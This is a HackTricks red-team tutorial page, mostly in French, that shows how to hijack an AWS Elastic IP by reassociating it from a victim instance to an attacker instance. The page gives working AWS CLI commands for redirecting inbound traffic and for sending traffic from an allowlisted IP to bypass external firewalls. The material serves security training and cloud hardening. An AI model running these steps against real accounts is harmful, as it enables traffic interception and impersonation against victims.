AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation

Reading time: 3 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Résumé

Abuser de ec2:AssociateAddress (et éventuellement ec2:DisassociateAddress) pour réassocier un Elastic IP (EIP) depuis une instance/ENI victime vers une instance/ENI attaquante. Cela redirige le trafic entrant destiné à l'EIP vers l'attaquant et permet également à l'attaquant d'initier du trafic sortant avec l'IP publique allowlistée pour contourner les pare-feux des partenaires externes.

Prérequis

  • Target EIP allocation ID in the same account/VPC.
  • Instance/ENI de l'attaquant que vous contrĂŽlez.
  • Autorisations :
  • ec2:DescribeAddresses
  • ec2:AssociateAddress sur l'EIP allocation-id et sur l'instance/ENI de l'attaquant
  • ec2:DisassociateAddress (optionnel). Remarque : --allow-reassociation dĂ©sassociera automatiquement de l'attachement prĂ©cĂ©dent.

Attaque

Variables

bash
REGION=us-east-1
ATTACKER_INSTANCE=<i-attacker>
VICTIM_INSTANCE=<i-victim>
  1. Allouer ou identifier l'EIP de la victime (le lab alloue un nouveau et l'attache Ă  la victime)
bash
ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
  1. Vérifier que l'EIP pointe actuellement vers le victim service (ex. vérification d'une banner)
bash
curl -sS http://$EIP | grep -i victim
  1. Réassocier l'EIP à l'attacker (se désassocie automatiquement de la victim)
bash
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
  1. Vérifiez que l'EIP se résout maintenant vers le attacker service
bash
sleep 5; curl -sS http://$EIP | grep -i attacker

Preuve (association déplacée) :

bash
aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
--query Addresses[0].AssociationId --output text

Impact

  • Inbound impersonation: Tout le trafic vers le hijacked EIP est acheminĂ© vers l'instance/ENI de l'attacker.
  • Outbound impersonation: Attacker peut initier du trafic qui semble provenir de l'allowlisted public IP (utile pour bypasser les partner/external source IP filters).

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks